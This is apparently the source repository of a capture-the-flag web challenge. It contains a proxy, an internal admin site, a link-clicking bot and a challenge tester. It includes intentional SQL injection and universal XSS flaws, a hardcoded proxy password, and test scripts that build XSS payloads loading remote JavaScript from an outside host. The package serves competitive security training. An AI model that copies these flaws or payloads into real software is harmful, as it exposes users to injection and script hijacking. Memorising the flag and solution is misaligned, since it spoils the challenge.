171 | # 2 => error visiting 172 | # x => pending for thread with ID x (note x > 2) 173 | 174 | 175 | # Simple test. Looks like it can process about 20 requests per second for fast pages 176 | """ 177 | conn = sqlite3.connect(db_name) 178 | cur = conn.cursor() 179 | q = 'insert into requests VALUES("auto.ip", DateTime("now"), "http://state.actor/log.php?v=auto", 0);' 180 | for _ in range(0, 10000): 181 | cur.execute(q) 182 | conn.commit() 183 | """ 184 | 185 | if __name__ == '__main__': 186 | import sys 187 | assert(len(sys.argv) == 4), "Usage: ./admin.py [Internal-WWW public IP] [Internal-WWW Port] [Localhost's Proxy Port]" 188 | 189 | global INTERNAL, PROXY_HOST, PROXY_PORT 190 | # Public IP/port to connect to for internal-www 191 | INTERNAL = sys.argv[1]+":"+sys.argv[2] 192 | # Port to use for the proxy. Assumed to be running on localhost 193 | PROXY_PORT=int(sys.argv[3]) 194 | 195 | # Host for the proxy 196 | PROXY_HOST = sys.argv[1] 197 | 198 | proc_id = random.randint(3, 2**31) 199 | 200 | logger.warning("Admin link-clicker configured. ID={} Internal www is at {}, proxy is at {}:{}".format(proc_id, INTERNAL, PROXY_HOST, PROXY_PORT)) 201 | try: 202 | run_it(proc_id) 203 | except KeyboardInterrupt: 204 | sys.exit(1) 205 | -------------------------------------------------------------------------------- /service/files/cert/make_cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | DIR=$(dirname "$0") 4 | KEY="${DIR}/ca.key" 5 | CRT="${DIR}/ca.crt" 6 | 7 | openssl genrsa -out ${KEY} 2048 8 | openssl req -new -x509 -days 365 -key ${KEY} -out ${CRT} -subj "/CN=OOO Proxy Service" 9 | #openssl genrsa -out $(DIR)/cert.key 2048 10 | -------------------------------------------------------------------------------- /service/files/db_init.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE flag (name TEXT, flag TEXT); 2 | CREATE TABLE requests (ip TEXT, ts datetime, url TEXT, visited integer); 3 | 4 | INSERT INTO flag VALUES ("the_flag", "OOO{C0rporateIns3curity}"); 5 | -------------------------------------------------------------------------------- /service/files/internalwww/README.md: -------------------------------------------------------------------------------- 1 | Internal WWW 2 | === 3 | "Internal" webserver to view proxy unblock requests. Can only be accessed by local connections (and attackers pivoting through UXSS on admin). 4 | 5 | Vulnerable to trivial SQL Injection. 6 | 7 | URLs are visited using PhantomJS driven by Selenium by [../admin/](admin/) scripts. 8 | -------------------------------------------------------------------------------- /service/files/internalwww/internalwww.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sqlite3 4 | import os 5 | from flask import g, Flask, render_template, request, send_file 6 | 7 | # Configuration 8 | DB_NAME = "file:///app/database.sqlite?mode=ro" 9 | # End configuration 10 | 11 | app = Flask(__name__, template_folder="template") 12 | 13 | def get_db(): 14 | global DB_NAME 15 | if 'db' not in g: 16 | # Now create a read-only handle for the rest of the app 17 | g.db = sqlite3.connect(DB_NAME, uri=True) 18 | g.db.row_factory = sqlite3.Row 19 | 20 | return g.db 21 | 22 | def close_db(e=None): 23 | db = g.pop('db', None) 24 | if db is not None: 25 | db.close() 26 | 27 | 28 | def is_local(request): 29 | """ 30 | Check if this request is from an internal IP. If x-forwarded-for header, use that 31 | """ 32 | def is_local_ip(ip): 33 | return ip == "127.0.0.1" or ip == "localhost" or ip == PUBLIC_IP 34 | 35 | # Check every possible X-forwarded-header to see if any are non-local 36 | # IPs. If so, return false 37 | for k,v in request.headers: 38 | if k.lower() == "x-forwarded-for": 39 | if not(is_local_ip(v)): 40 | return False 41 | 42 | # Without x-forwarded, just check IP directly. Should only happen for our admin grader 43 | ip = request.remote_addr 44 | return ip == "127.0.0.1" or ip == "localhost" or ip == PUBLIC_IP 45 | 46 | # Home. Just so it's clear this is a website 47 | @app.route('/') 48 | def home(): 49 | if not is_local(request): 50 | return render_template("error.html", msg="Only internal users may access this website") 51 | return render_template("home.html") 52 | 53 | # Main page. 54 | @app.route('/admin/view/') 55 | def view_request(uid): 56 | if not is_local(request): 57 | return render_template("error.html", msg="Only internal users may access this website") 58 | 59 | con = get_db() 60 | cur = con.cursor() 61 | q = "select rowid,* from requests where rowid={};".format(uid) 62 | try: 63 | cur.execute(q) 64 | row = cur.fetchone() 65 | except Exception as e: 66 | print("INTERNALWWW: Invalid SQL query: {}".format(q)) 67 | return render_template("error.html", msg="SQL Error: {}".format(e)) 68 | 69 | if " " in uid: 70 | print("INTERNALWWW: Possible SQLi attempt! Query={}".format(uid)) 71 | 72 | try: 73 | # Should be bytes unless SQLi has happened 74 | url = row["url"].decode('ascii') 75 | except AttributeError: # If there's SQLi it could be an int 76 | url = row["url"] 77 | 78 | return render_template("view.html", row=row, url=url, q=q) 79 | 80 | @app.route('/css/bootstrap.min.css') 81 | def css(): 82 | return send_file("css/bootstrap.min.css") 83 | 84 | # Remote users only get errors. Local users can see 404s for every other page 85 | @app.errorhandler(404) 86 | def page_not_found(e): 87 | if not is_local(request): 88 | return render_template("error.html", msg="Only local users may access this website") 89 | return "Page not found", 404 90 | 91 | 92 | if __name__ == '__main__': 93 | import sys 94 | assert(len(sys.argv) == 3), "Usage: ./internal.py [Public IP] [Port]" 95 | 96 | global PUBLIC_IP 97 | PUBLIC_IP = sys.argv[1] 98 | 99 | # TODO use a real webserver? Won't have much traffic 100 | #app.run(debug = True, host=PUBLIC_IP, port=int(sys.argv[2])) 101 | app.run(debug = False, host=PUBLIC_IP, port=int(sys.argv[2])) 102 | else: 103 | # Normal load 104 | if 'CONTAINER_IP' not in os.environ: 105 | raise RuntimeError("CONTAINER IP is not present in environment") 106 | PUBLIC_IP = os.environ['CONTAINER_IP'] 107 | print("INTERNAL-WWW started with {}".format(PUBLIC_IP)) 108 | 109 | 110 | # vim: noet:ts=4:sw=4 111 | -------------------------------------------------------------------------------- /service/files/internalwww/template/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {% block title %}Order of the Overflow Proxy Service {% endblock %} 5 | 6 | 7 | 8 |
9 |
10 | {% block content %}{% endblock %} 11 |
12 |
13 | 14 | 15 | -------------------------------------------------------------------------------- /service/files/internalwww/template/error.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}OOPS — Error{% endblock %} 3 | 4 | {% block content %} {{msg}} {% endblock %} 5 | -------------------------------------------------------------------------------- /service/files/internalwww/template/home.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block content %} 3 | Welcome to the OOOPS Administrative Web Interface. 4 | To evaluate an unblock request, please browse directly to it's evaluation URL 5 | {% endblock %} 6 | -------------------------------------------------------------------------------- /service/files/internalwww/template/view.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}OOOPS — Evaluate Requests{% endblock %} 3 | 4 | {% block content %} 5 | 6 | 7 | {% if row %} 8 |

9 | Request #{{row.rowid}} from {{row.ip}}. 10 | {% if row.visited %} Automatically evaluated {% else %} Not yet evaluated{% endif %} 11 |

12 | 13 | 14 | Visit {{url}} 15 | 16 | 17 | {% else %} 18 | Error. No result found 19 | {% endif %} 20 | 21 | 22 | {% endblock %} 23 | -------------------------------------------------------------------------------- /service/files/proxy/README.md: -------------------------------------------------------------------------------- 1 | Proxy 2 | === 3 | Simple Twisted proxy which rewrites requests to `/prox-internal/....` to local files. 4 | 5 | Rewrites requests to urls containing the string `overflow` to serve [prox-internal/blocked.html](blocked.html) 6 | 7 | Introduces a cross-site scripting vulnerability in [prox-internal/scripts/main.js](main.js). 8 | 9 | Since the `/prox-internal/...` paths are intercepted on all domains, the XSS vulnerability becomes a universal XSS bug. 10 | -------------------------------------------------------------------------------- /service/files/proxy/captcha_clean_cron: -------------------------------------------------------------------------------- 1 | */5 * * * * rm /app/proxy/prox-internal/captchas/*.{png,txt} 2 | -------------------------------------------------------------------------------- /service/files/proxy/old-proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import re 5 | import os 6 | import sqlite3 7 | import string 8 | from urllib.parse import unquote 9 | from twisted.web import proxy, http 10 | from twisted.internet import reactor, ssl 11 | from twisted.python import log 12 | from base64 import b64encode 13 | 14 | log.startLogging(sys.stdout) 15 | 16 | # Configuration 17 | PROXY_BASE = "/ooops/d35fs23hu73ds" 18 | 19 | # URLs containing this are blocked 20 | BAD_WORD = "overflow" 21 | 22 | # Ports other than these are blocked 23 | ALLOWED_PORTS = [80, 443, 5000] 24 | 25 | db_name = "/app/database.sqlite" 26 | 27 | HTTP_REGEX=re.compile(b'^([A-Z]*) ([a-zA-Z]*\:\/\/)?([a-zA-z0-9\-.]*)(:[\d]*)?(\/([A-Za-z0-9\/\-\_\.\;\%\=\'"\\ \(\),]*))?((\?([A-Za-z_0-9\'"!%&()\*+,-./:;=?@\\\\^_`{}|~\[\]])*)?)? HTTP\/\d.\d') 28 | 29 | # End configuration 30 | 31 | # Setup database connection 32 | conn = sqlite3.connect(db_name) 33 | cur = conn.cursor() 34 | 35 | def is_local_user(ip): 36 | return ip in["localhost", "127.0.0.1", GRADER_IP] 37 | 38 | 39 | def update_db(user, url): 40 | global cur 41 | # B64 encode data. Probably overkill? 42 | q = "INSERT into requests VALUES (?, DateTime('now'), ?, 0);" 43 | log.err("Inserting: {}".format(q)) 44 | conn.execute(q, (user, b64encode(url.encode("utf-8")))) 45 | conn.commit() 46 | 47 | def html(text): 48 | return """ 49 | 50 | {} 51 | """.format(text) 52 | 53 | def err(code, msg): 54 | return "HTTP/1.1 {code} {msg}\r\n\r\n{msg}\r\n".format(code=code, msg=msg).encode("utf-8") 55 | 56 | def blocked(url, port, path): 57 | global BAD_WORD, ALLOWED_PORTS 58 | if BAD_WORD in url or port not in ALLOWED_PORTS: 59 | if PROXY_BASE not in path: # Don't block internal pages, even on blocked sites 60 | return True 61 | return False 62 | 63 | def read_bytes_from_file(file, chunk_size = 2048): 64 | with open(file, 'rb') as file: 65 | while True: 66 | chunk = file.read(chunk_size) 67 | 68 | if chunk: 69 | yield chunk 70 | else: 71 | break 72 | 73 | class MyProxy(proxy.Proxy): 74 | def respond(self, msg, ctype="text/html"): 75 | m = html(msg) 76 | self.transport.write("HTTP/1.1 200 OK\r\nContent-Length: {}\r\nContent-Type: {}\r\n\r\n{}".format(len(m), m, ctype).encode("utf-8")) 77 | #self.write(html(msg)) 78 | self.transport.loseConnection() 79 | 80 | def request_creds(self): 81 | # Ask for credentials 82 | self.transport.write("HTTP/1.1 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to proxy site\"\r\n\r\n{}".encode("utf-8")) 83 | self.transport.loseConnection() 84 | 85 | def has_valid_creds(self, data): 86 | data = data.decode("utf-8", "ignore") 87 | if "Proxy-Authorization: " not in data: 88 | self.request_creds() 89 | print("Missing auth token") 90 | return False 91 | postauth = data.split("Proxy-Authorization: ")[1] 92 | if "\r\n" not in postauth: 93 | print("Malformed proxy auth") 94 | return False 95 | 96 | auth_token = postauth.split("\n")[0].strip() 97 | if auth_token=="Basic T25seU9uZTpPdmVyZmxvdw==": # OnlyOne:Overflow 98 | return True 99 | else: 100 | print("Wrong auth") 101 | self.request_creds() 102 | return False 103 | 104 | 105 | def dataReceived(self, data): 106 | """ 107 | Client has send us a request, try to connect to it 108 | """ 109 | global HTTP_REGEX 110 | try: 111 | return self._dataReceived(data) 112 | except Exception as e: 113 | print("Exception:" + str(e)) 114 | self.transport.loseConnection() 115 | raise e 116 | return False 117 | 118 | 119 | def _dataReceived(self, data): 120 | user = self.transport.getPeer() 121 | user_ip = user.host 122 | 123 | # Require authentication (unless it's the grader) 124 | if not is_local_user(user_ip) and not self.has_valid_creds(data): 125 | #print("Invalid creds\n\n") 126 | self.transport.loseConnection() 127 | return False 128 | 129 | # Ensure we can parse the first line of the HTTP request or drop the connection 130 | http_line_match = HTTP_REGEX.search(data) 131 | if not http_line_match or not http_line_match.groups(0) or not http_line_match.groups(1): 132 | #print("Malformed request") 133 | #print(data) 134 | self.transport.write(err(400, "Bad Request")) 135 | self.transport.loseConnection() 136 | return False 137 | 138 | 139 | # Get method and check if it's https (CONNECT) 140 | method = http_line_match.groups(0)[0].decode("utf-8") 141 | # We don't support HTTPS 142 | if method == "CONNECT": 143 | #print("Ignoring HTTPS connect") 144 | self.transport.write(err(405, "Method Not Allowed")) 145 | self.transport.loseConnection() 146 | return False 147 | 148 | # Extract and validate protocol 149 | proto = http_line_match.groups(0)[1].decode("utf-8") # can be blank, or HTTP://, etc 150 | if not proto.startswith("http") or not proto.endswith("://"): 151 | #print("Fail: bad proto") 152 | self.transport.write(err(400, "Bad Request")) 153 | self.transport.loseConnection() 154 | return 155 | 156 | # Capture 157 | url = http_line_match.groups(0)[2].decode("utf-8", "ignore") # Includes subdomains 158 | port = http_line_match.groups(0)[3] # Can be blank 159 | path = http_line_match.groups(1)[4].decode("utf-8", "ignore") 160 | query = http_line_match.groups(0)[6].decode("utf-8", "ignore") 161 | 162 | # Validate and reformat port 163 | try: 164 | port = int(port[1:]) if port else 80 # Trim leading : if specified, otherwise default to 80 165 | except ValueError: 166 | log.err("Invalid port") 167 | self.transport.loseConnection() 168 | return False 169 | 170 | # Reformat query 171 | if query is not None: query = query[1:] 172 | 173 | log.msg("Request from {}. URL: {}. Port: {}. Path {}. Query: {}".format(user_ip, url, port, path, query)) 174 | 175 | # Check if request should be blocked, update path if it is 176 | if blocked(url, port, path): # Update path so we'll respond with internal file blocked.html 177 | log.msg("URL blocked") 178 | path = PROXY_BASE + "/blocked.html" 179 | 180 | # Transform path to simplify any weird directories 181 | path = os.path.abspath(path) 182 | 183 | if path.startswith(PROXY_BASE): 184 | local_file = "/app/proxy/prox-internal" + path.split(PROXY_BASE)[1] # Skip past proxy base 185 | """ # Note if it starts with prox-internal after abspath, it can't traverse any higher 186 | if ".." in local_file: 187 | self.transport.loseConnection() 188 | return False 189 | """ 190 | 191 | if method == "GET" or method == "POST": # Load page if exists on get or post 192 | if method == "POST": # For post, try parsing an unblock request 193 | lines = data.decode("utf-8", "ignore").split("\r\n") 194 | url=None 195 | for line in lines: 196 | if "url=" in line: # Found it 197 | urldata = line.split("url=")[1] 198 | try: 199 | url=unquote(urldata.split("&")[0]) 200 | except: 201 | print("Warning: Couldn't parse postdata line: {}".format(urldata)) 202 | if url: 203 | update_db(user_ip, url) 204 | else: 205 | print("Warning: Couldn't parse posted data url") 206 | 207 | # Respond with raw file for get and post 208 | if os.path.isfile(local_file): # Ignore directories 209 | ctype ="text/html" 210 | if "." in local_file: 211 | ext = local_file.split(".")[-1] 212 | if ext == "js": ctype = "script/javascript" 213 | if ext == "jpg": ctype = "image/jpeg" 214 | 215 | file_len = os.path.getsize(local_file) 216 | self.transport.write("HTTP/1.1 200 OK\r\nContent-Length: {}\r\nContent-Type: {}\r\n\n".format(file_len, ctype).encode("utf-8")) 217 | 218 | self.setRawMode() 219 | for _bytes in read_bytes_from_file(local_file): 220 | self.transport.write(_bytes) 221 | 222 | self.transport.write(b"\r\\n") 223 | self.setLineMode() 224 | self.transport.loseConnection() 225 | return False 226 | 227 | else: 228 | 229 | self.transport.write("HTTP/1.1 404 File not Found\r\n\r\nPage not found\r\n".encode("utf-8")) 230 | self.transport.loseConnection() 231 | return False 232 | else: 233 | self.transport.write("HTTP/1.1 405 Method not Allowed\r\n\r\nMethod not Allowed\r\n".encode("utf-8")) 234 | self.transport.loseConnection() 235 | return True 236 | 237 | # Require host: header 238 | 239 | """ 240 | dec_req = data[:min(100, len(data))].decode("utf-8", "ignore") 241 | if "\r\nHost: " not in dec_req: 242 | self.transport.write(err(400, "Bad Request")) 243 | self.transport.loseConnection() 244 | return False 245 | """ 246 | 247 | # We only accept encoding identiy to make our lives easier 248 | data = re.sub(b'Accept-Encoding: [a-z, ]*', b'Accept-Encoding: identity', data) 249 | 250 | # Add x-forward-for header by replacing host header? 251 | #xforfor_host = ("X-Forwarded-For: {}\r\nHost: ".format(user_ip)).encode("utf-8") 252 | #data = re.sub(b'Host:', xforfor_host, data) 253 | 254 | 255 | 256 | return proxy.Proxy.dataReceived(self, data) 257 | 258 | def write(self, data): 259 | if data: 260 | #print("\nServer response:\n{}".format(data.decode("utf-8"))) 261 | self.transport.write(data) 262 | if self.transport: 263 | self.transport.loseConnection() 264 | 265 | class ProxyFactory(http.HTTPFactory): 266 | protocol=MyProxy 267 | 268 | if __name__ == '__main__': 269 | import sys 270 | assert(len(sys.argv) == 3), "Usage: ./run-proxy.py [Grader IP] [Port]" 271 | 272 | global GRADER_IP, PORT 273 | # GRADER_IP used to allow passwordless connections from admin 274 | # because selenium can't handle proxies with passwords :( 275 | GRADER_IP = sys.argv[1] 276 | # Port to listen on 277 | PORT = int(sys.argv[2]) 278 | 279 | factory = ProxyFactory() 280 | reactor.listenTCP(PORT, factory) 281 | 282 | """ 283 | # TODO: SSL 284 | reactor.listenSSL(PORT, factory, 285 | ssl.DefaultOpenSSLContextFactory( 286 | 'cert/ca.key', 'cert/ca.crt')) 287 | """ 288 | reactor.run() 289 | -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/blocked.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Page Blocked

13 |
14 |
15 | Request site review 16 |
17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/captchas/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/css/main.css: -------------------------------------------------------------------------------- 1 | #blocked { 2 | font-size:2em; 3 | min-height:1em; 4 | width:900px; 5 | marign: 0 auto; 6 | clear:both; 7 | border: 3px dotted black; 8 | text-align: center 9 | } 10 | 11 | #logo { 12 | display: block; 13 | margin: 0 auto; 14 | } 15 | 16 | .captcha { 17 | border: 1px solid black; 18 | } 19 | -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/images/ooo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2019q-ooops/2f56356a5aa5ab85e85dfa13bf102a46dc6a0c49/service/files/proxy/prox-internal/images/ooo.png -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/review.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Site Unblock Request

13 |

{msg}

14 |
15 |
16 | 17 | 18 |
19 |
20 | 21 | 22 |
23 | 35 |
36 | 37 |
38 |
39 | 40 | Warning: If you submit too many requests, we will start ignoring you 41 |
42 | 43 | 44 | -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/reviewed.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Site Unblock Request

13 |

{msg}

14 | Thank you for your request. We'll check the site out and unblock it if approperiate. 15 |
16 | 17 | 18 | -------------------------------------------------------------------------------- /service/files/proxy/prox-internal/scripts/main.js: -------------------------------------------------------------------------------- 1 | function split_url(u) { 2 | u = decodeURIComponent(u); // Stringify 3 | output = u[0]; 4 | for (i=1;i/dev/null >/dev/null" % container_tag) 61 | os.system("docker rm %s 2>/dev/null >/dev/null" % container_tag) 62 | 63 | def launch_service(): 64 | _LOG.debug("starting container") 65 | _start_container() 66 | time.sleep(1) 67 | container_config = json.loads(subprocess.check_output("docker inspect %s" % container_tag, shell=True).decode('utf-8')) 68 | ip_address = container_config[0]['NetworkSettings']['Networks']['bridge']['IPAddress'] 69 | port = list(container_config[0]['Config']['ExposedPorts'].keys())[0].split("/")[0] 70 | _LOG.debug("network endpoint: %s:%s", ip_address, port) 71 | return ip_address, port 72 | 73 | def test_service(ip_address, port): 74 | _LOG.info("Testing container...") 75 | 76 | _LOG.info("launching interaction container") 77 | interaction_container = subprocess.check_output("docker run --rm -i -d %s" % interaction_image_tag, shell=True).strip().decode('utf-8') 78 | 79 | def _run_interaction(script): 80 | _LOG.info("launching %s", script) 81 | 82 | output = subprocess.check_output("docker exec %s %s %s %s" % (interaction_container, script, ip_address, port), shell=True) 83 | if os.path.basename(script).startswith("exploit"): 84 | _LOG.info("... checking for the flag") 85 | assert service_conf['flag'].encode('utf-8') in output, "exploit %s did not print the flag"%script #pylint:disable=unsupported-membership-test 86 | 87 | _LOG.info("launching interaction scripts") 88 | interaction_files = service_conf['interactions'] 89 | for f in interaction_files: 90 | _run_interaction(f) 91 | 92 | _LOG.info("STRESS TEST TIME") 93 | n = 2 94 | old_level = _LOG.level 95 | while n <= service_conf['concurrent_connections']: 96 | _LOG.info("stress testing with %d concurrent connections!", n) 97 | _LOG.setLevel(max(logging.WARNING, old_level)) 98 | with concurrent.futures.ThreadPoolExecutor(max_workers=n) as pool: 99 | results = pool.map(_run_interaction, (interaction_files*n)[:n]) 100 | try: 101 | for result in results: 102 | pass 103 | except Exception as e: 104 | _LOG.error('One iteration returns an exception: %s' % str(e)) 105 | _LOG.error(traceback.format_exc()) 106 | sys.exit(1) 107 | 108 | _LOG.setLevel(old_level) 109 | 110 | n *= 2 111 | 112 | _LOG.info("SHORT-READ SANITY CHECK") 113 | assert os.system('docker run --rm ubuntu bash -ec "for i in {1..128}; do echo > /dev/tcp/%s/%s; done"' % (ip_address, port)) == 0 114 | _LOG.info("waiting for service to clean up after short reads") 115 | time.sleep(15) 116 | 117 | num_procs = len(subprocess.check_output("docker exec %s ps aux" % container_tag, shell=True).splitlines()) 118 | assert num_procs < 10, "your service did not clean up after short reads" 119 | 120 | _LOG.info("stopping interaction container") 121 | os.system("docker kill %s" % interaction_container) 122 | 123 | def build_bundle(): 124 | _LOG.info("building public bundle!") 125 | 126 | tempdir = tempfile.mkdtemp() 127 | public_path = os.path.join(tempdir, service_name) 128 | os.makedirs(public_path) 129 | for f in service_conf['public_files']: 130 | _LOG.debug("copying file %s into public files", f) 131 | cmd = "cp -L %s/%s %s/%s" % (service_dir, f, public_path, os.path.basename(f)) 132 | print(os.getcwd(), cmd) 133 | assert os.system(cmd) == 0, "failed to retrieve public file %s" % f 134 | 135 | time.sleep(2) 136 | assert os.system("tar cvzf %s/public_bundle.tar.gz -C %s %s" % (service_dir, tempdir, service_name)) == 0, "public file tarball failed; this should not be your fault" 137 | 138 | print("") 139 | print("") 140 | _LOG.critical("PLEASE VERIFY THAT THIS IS CORRECT: files in public bundle:") 141 | os.system("tar tvzf %s/public_bundle.tar.gz" % service_dir) 142 | 143 | _stop_container() 144 | 145 | print("") 146 | print("") 147 | print("ATTENTION: PLEASE MAKE SURE THAT THE CONTENTS OF public_files.tar.gz (SHOWN ABOVE) MAKE SENSE.") 148 | print("") 149 | print("") 150 | 151 | 152 | if __name__ == '__main__': 153 | validate_yaml() 154 | arg = sys.argv[1] if len(sys.argv) >= 2 else "" 155 | if arg == 'bundle': 156 | build_bundle() 157 | elif arg == 'build': 158 | build_service() 159 | build_interactions() 160 | build_bundle() 161 | elif arg == 'test': 162 | if len(sys.argv) == 2: 163 | _ip_address, _port = launch_service() 164 | test_service(_ip_address, _port) 165 | else: 166 | test_service(sys.argv[2], int(sys.argv[3])) 167 | elif arg == 'launch': 168 | build_service() 169 | try: 170 | _ip_address, _port = launch_service() 171 | print("") 172 | print("SERVICE RUNNING AT: %s %s" % (_ip_address, _port)) 173 | print("nc %s %s" % (_ip_address, _port)) 174 | print("./tester test %s %s" % (_ip_address, _port)) 175 | print("%s:%s" % (_ip_address, _port)) 176 | input() 177 | finally: 178 | _stop_container() 179 | else: 180 | try: 181 | build_service() 182 | build_interactions() 183 | _ip_address, _port = launch_service() 184 | test_service(_ip_address, _port) 185 | build_bundle() 186 | finally: 187 | _stop_container() 188 | -------------------------------------------------------------------------------- /tests/payload_generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Script to compress any payload into a series of 40 character dom-based XXS payloads 4 | # Still has some bugs 5 | 6 | ### Example payload to load and execute a remote javascript file from state.actor/aler.js 7 | """ 8 | http://www.example.com/ooops/d35fs23hu73 9 | ds/blocked.html?abcdeaaaaaaaaaaaaaaaaaaaa= 10 | 12 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 13 | 15 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 16 | 18 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 19 | bbbbbbbb 21 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 22 | bbbbbbb 24 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 25 | 27 | """ 28 | 29 | # Config 30 | # Warning: don't use variable s in your payload 31 | PAYLOAD = "a=document.createElement(\'script\'); a.src=\'{}\'; document.body.appendChild(a)".format("//state.actor/alert.js;") 32 | CHUNK_LEN=40 33 | DOMAIN = "http://www.example.com/" 34 | # End config 35 | 36 | # Build a url that's exactly 40 chars so the last split is right after it 37 | output_base = DOMAIN+"ooops/d35fs23hu73ds/blocked.html?" 38 | print("Prefix is length {}... ".format(len(output_base)), end=" ") 39 | pad_len = 40 - (len(output_base) % 40) if (len(output_base) % CHUNK_LEN) != 0 else 0 40 | print("Adding {} to make it round, plus 1".format(pad_len)) 41 | output_base += "_"*(pad_len+2) 42 | 43 | # XSS will be in chunks of 44 | # 45 | # such that the
goes in the a's maximizing our payload size 46 | # 47 | PREFIX = '' 49 | 50 | # Now URL is aligned such that BR goes after it and payload can begin 51 | start = True 52 | idx = 0 53 | 54 | # Now we're going to build a string into the variable s 55 | # and then eval it 56 | PAYLOAD = PAYLOAD.replace("\'","\\\'") # escape single quotes 57 | 58 | output = "" 59 | while idx < len(PAYLOAD): 60 | assert((len(output) % CHUNK_LEN) == 0), "Error, chunk length is {}: {}".format(len(output), output) 61 | old_len = len(output) 62 | output += PREFIX 63 | if start: 64 | output+= "s='" 65 | start = False 66 | else: 67 | output+= "s+='" 68 | len_so_far = len(output)-old_len-CHUNK_LEN # We're in the second chunk now 69 | suffix_len = len(SUFFIX) + 1 # For trailing ' 70 | 71 | print("LSF: " , len_so_far) 72 | 73 | payload_out_len = min(len(PAYLOAD)-idx, CHUNK_LEN - len_so_far - suffix_len) # Either rest of payload or enough to max out at 40 with prefix+suffix 74 | is_last = (CHUNK_LEN - len_so_far - suffix_len) != payload_out_len 75 | 76 | this_suffix = SUFFIX 77 | 78 | if is_last: # Prepend suffix with whitespace 79 | print("ISLAST") 80 | this_suffix = " "*(CHUNK_LEN*2-len(PAYLOAD)-idx) + SUFFIX 81 | 82 | 83 | if PAYLOAD[idx+payload_out_len-1] == '\\': # Can't split backslash between two blocks 84 | output += PAYLOAD[idx:idx+payload_out_len-1] 85 | this_suffix = "' " + SUFFIX 86 | idx += payload_out_len-1 87 | else: 88 | output += PAYLOAD[idx:idx+payload_out_len] 89 | idx += payload_out_len 90 | 91 | output += this_suffix 92 | 93 | assert(len(output) <= old_len+2*40), "Have {} which is > {}".format(len(output), old_len+2*40) # Must fit in two chunks. One for svg junk, one for payload 94 | 95 | pad_len = 40 - (len(output) % 40) if (len(output) % CHUNK_LEN) != 0 else 0 96 | assert(not (not is_last and pad_len > 0)), "Why are we padding an intermediate chunk? len={}, pad={}".format(len(output), pad_len) 97 | 98 | output += "_"*pad_len 99 | 100 | output+=PREFIX+";eval(s)"+SUFFIX 101 | 102 | print(output_base) 103 | for idx,c in enumerate(output): 104 | if ((idx%40) == 0): print() 105 | print(c, end="") 106 | 107 | print() 108 | output = output_base + output 109 | print(output) 110 | 111 | def split_url(u): 112 | b = u[0] 113 | for i in range(1, len(u)): 114 | b += u[i] 115 | if (i%40==0): b+= "
"; 116 | return b 117 | 118 | print("\n\nSPLITS TO") 119 | print(split_url(output)) 120 | 121 | good="""http://www.asdfcom.com/ooops/d35fs23hu73ds/blocked.html?abcdeaaaaaaaaaaaaaaaaaaaa=&aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=&aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=&aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=bbbbbbbb&aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=bbbbbbb&aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=""" 122 | 123 | print("\n\nGOT SPLITS TO") 124 | print(split_url(good)) 125 | -------------------------------------------------------------------------------- /tests/tests.txt: -------------------------------------------------------------------------------- 1 | 2 | UXSS in proxy 3 | http://example.com/ooops/d35fs23hu73ds/blocked.html?abcd=%3Cimg%20src=x%20onerror=%22alert(1)%22%3E 4 | 5 | Complex UXSS payload to load and execute remote script 6 | 7 | http://www.asdfcom.com/ooops/d35fs23hu73 8 | ds/blocked.html?abcdeaaaaaaaaaaaaaaaaaaaa= 9 | 11 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 12 | 14 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 15 | 17 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 18 | bbbbbbbb 20 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 21 | bbbbbbb 23 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= 24 | 26 | --------------------------------------------------------------------------------